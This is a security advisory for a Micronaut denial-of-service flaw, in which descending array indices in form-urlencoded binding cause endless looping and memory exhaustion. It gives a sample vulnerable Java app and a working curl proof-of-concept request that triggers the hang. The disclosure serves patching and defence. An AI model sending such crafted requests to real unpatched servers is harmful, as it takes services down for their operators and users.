GHSA-43w5-mmxv-cpvh Micronaut vulnerable to DoS via crafted form-urlencoded body binding with descending array indices

• Maven io.micronaut:micronaut-json-core: >= 4.0.0-M1, < 4.10.16 → fixed in 4.10.16 • Maven io.micronaut:micronaut-json-core: >= 3.9.0, < 3.10.5 → fixed in 3.10.5 • Maven io.micronaut:micronaut-json-core: < 3.8.13 → fixed in 3.8.13

In `JsonBeanPropertyBinder::expandArrayToThreshold` in `io.micronaut:micronaut-json-core` before Micronaut 4 4.10.16 and in Micronaut 3 before 3.10.5 does not correctly handle descending array index order during form-urlencoded body binding, which allows remote attackers to cause a denial of service (non-terminating loop, CPU exhaustion, and OutOfMemoryError) via crafted indexed form parameters (e.g., `authors[1].name` followed by `authors[0].name`). Example With such an application ```java package dosform; import io.micronaut.http.HttpResponse; import io.micronaut.http.MediaType; import io.micronaut.http.annotation.Body; import io.micronaut.http.annotation.Consumes; import io.micronaut.http.annotation.Controller; import io.micronaut.http.annotation.Get; import io.micronaut.http.annotation.Post; import io.micronaut.http.annotation.Produces; import java.net.URI; @Controller class HomeController { @Produces(MediaType.TEXT_HTML) @Get String index() { return """ Fist Author Second Author Third Author Submit """; } @Consumes(MediaType.APPLICATION_FORM_URLENCODED) @Post("/submit") HttpResponse submit(@Body Book book) { return HttpResponse.seeOther(URI.create("/")); } } package dosform; import io.micronaut.core.annotation.Introspected; import java.util.Objects; @Introspected public class Author { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public final boolean equals(Object o) { if (!(o instanceof Author)) return false; Author author = (Author) o; return Objects.equals(name, author.name); } @Override public int hashCode() { return Objects.hashCode(name); } @Override public String toString() { return "Author{" + "name='" + name + '\'' + '}'; } } package dosform; import io.micronaut.core.annotation.Introspected; import java.util.List; import java.util.Objects; @Introspected public class Book { private List authors; public List getAuthors() { return authors; } public void setAuthors(List authors) { this.authors = authors; } @Override public final boolean equals(Object o) { if (!(o instanceof Book)) return false; Book book = (Book) o; return Objects.equals(authors, book.authors); } @Override public int hashCode() { return Objects.hashCode(authors); } @Override public String toString() { return "Book{" + "authors=" + authors + '}'; } } ``` Sending `curl -v -X POST 'http://127.0.0.1:8080/submit' -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'authors[1].name=RobertGalbraith' --data-urlencode 'authors[0].name=JKRowling'` causes sustained CPU usage and unbounded memory growth (eventually `OutOfMemoryError`). Patches For Micronaut 4, the problem has been patched in `micronaut-core`, dependencies with group id `io.micronaut`, since 4.10.16. For Micronaut 3, the problem has been patched since 3.10.5 Users upgrade to the latest version of the framework. Workarounds There is no way for users to fix or remediate the vulnerability without upgrading. References PR Fix: https://github.com/micronaut-projects/micronaut-core/pull/12410